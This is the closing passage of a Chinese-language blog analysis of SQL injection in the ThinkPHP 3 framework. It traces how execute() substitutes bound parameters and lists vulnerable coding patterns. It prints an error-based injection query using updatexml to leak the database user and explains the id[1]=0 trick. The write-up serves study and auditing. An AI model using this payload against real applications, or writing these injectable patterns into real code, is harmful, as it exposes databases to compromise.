36
37
38
39
40
public function execute($str, $fetchSql = false)
{
$this->initConnect(true);
if (!$this->_linkID) {
return false;
}

$this->queryStr = $str;
//将sql语句存入$this->queryStr
if (!empty($this->bind)) {
//前面$this->bind赋值过了,会走到这里
//$that赋值为$this,相当于复制了一个当前对象
$that = $this;
//这行代码把:替换了,来看一下
/*
function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}
匿名函数,一个参数
匿名函数不能用代码块外的变量,如果需要使用需要在use内加上需要使用的变
在匿名函数内可以看到使用了$that->escapeString,所以需要在use内加上$that
array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind)
使用回调函数,该匿名函数的实参为$this->bind数组的值,$this->bind数组的值为1
$that->escapeString里面是addslashes函数,将参数内的敏感字符转义,将1用单引号包裹
返回被修改的$this->bind为strtr的参数, 此时$this->bind为array(":0" => "'1'")
strtr的第一个参数为$this->queryStr,也就是存在:0的sql语句,经过strtr的替换,:0都变为了'1'
此时为$this->queryStr
UPDATE `users` SET `password`='1' WHERE `id` = '1' and updatexml(1,concat(0x7e,user(),0x7e),1)
后面再去执行该语句就出现了报错注入
*/
$this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
}
if ($fetchSql) {
return $this->queryStr;
}
//释放前次的查询结果
if (!empty($this->PDOStatement)) {
$this->free();
}
//...
//和漏洞没什么关系先不看了
}

总结一下就是execute是存在替换功能的,所以只需要去找调用了execute来执行sql语句的函数还是可以找到别的类似的漏洞函数的

还有一点为什么id[1]=0

在上面替换的时候可以看到$this->bind=array(“:0” => “‘1’”),如果id[1]=1,where拼接的语句就变成了:1,就不能被替换掉了

0x05 漏洞点总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$id = I('GET.id');
$data = M('users')->find($id);
//find函数参数可控,可以造成sql注入漏洞
//可以控制多个$options元素,如where,table,field

$map = array('username' => $_GET['username']);
$user = $User->where($map)->find();
//where函数内参数可控,如果为数组,值不能使用I函数接收

$value = $_GET["id"]
$user = $User->where("id=".$value)->find();
//这样写单引号直接可以注入,$value为I函数接收参数也是可以触发漏洞的

$user = array("id" => I('id'));
$data = array("password" => I('password'));
$sql = $User->where($user)->save($data);
//where函数参数可控,save函数可控
//使用bind会在参数前加上:,用save内的execute函数替换
//搜索一下使用execute的函数有这些insert,insertAll,selectInsert,delete
//都是有可能存在漏洞的
//可以发现这里的漏洞和增删改相关

0x06 总结

一直想把文章写的很细,让所有看的师傅都能看懂,结果这次越写越觉得奇怪,因为贴了太多的代码和注释让可读性很差,后面写的文章准备试试多贴图

还有一点关于漏洞需要动手调试,只看文章都是感觉好像懂了,实际调了之后会发现还是有很多点有不懂的,看明白了之后可能发现不同的使用漏洞的方法

有问题的地方欢迎各位师傅指出

0x07 参考文章

https://y4er.com/posts/thinkphp3-vuln/